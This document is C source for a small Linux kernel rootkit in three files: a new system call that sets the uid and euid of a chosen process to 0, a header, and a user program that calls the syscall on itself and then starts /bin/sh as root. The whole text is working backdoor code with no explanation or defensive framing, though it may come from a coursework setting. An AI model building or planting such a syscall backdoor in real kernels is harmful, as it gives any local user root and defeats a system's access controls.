myprog.c

#include <linux/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>   

#define rootkit(x,y) syscall(__NR_rootkit,x,y) 

main() {
   printf("Exit code = %d\n\n",rootkit(1,getpid()));
   char *cmd[2];
   cmd[0] = "/bin/sh";
   cmd[1] = NULL;
   execve(cmd[0], cmd, NULL);
}

rootkit.c

#include "rootkit.h"

int pc = 0;
 
int print_info(void) {
  int o_ruid = current->uid;
  int o_euid = current->euid;
  int o_suid = current->suid;
  pc++;// inc counter
  printk("\n *** ---[ Printing %d ] *** \n", pc);
  printk("uid       = %d ", o_ruid);
  printk("euid      = %d ", o_euid);
  printk("suid      = %d ", o_suid);
  printk("getuid()  = %d ", (int) sys_getuid());
  printk("geteuid() = %d ", (int) sys_geteuid());
  printk("getpid()  = %d ", (int) sys_getpid());
  return (0);
}
 
asmlinkage int sys_rootkit(int mode, pid_t mypid) {
  struct task_struct *ts;
  int rc=0;   // Get some feedback
 
  print_info();
 
  printk("find_task_by_pid(%d)!\n", mypid);
  ts = find_task_by_pid(mypid);
  if(ts) {
     ts->uid = (uid_t)0;       
     ts->euid = (uid_t)0;
  } else {
     rc = -1;
  }
 
  print_info();
  return(rc);
}

rootkit.h

#ifndef __LINUX_ROOTKIT_H
#define __LINUX_ROOTKIT_H

#include <linux/linkage.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <linux/sys.h>
 
#endif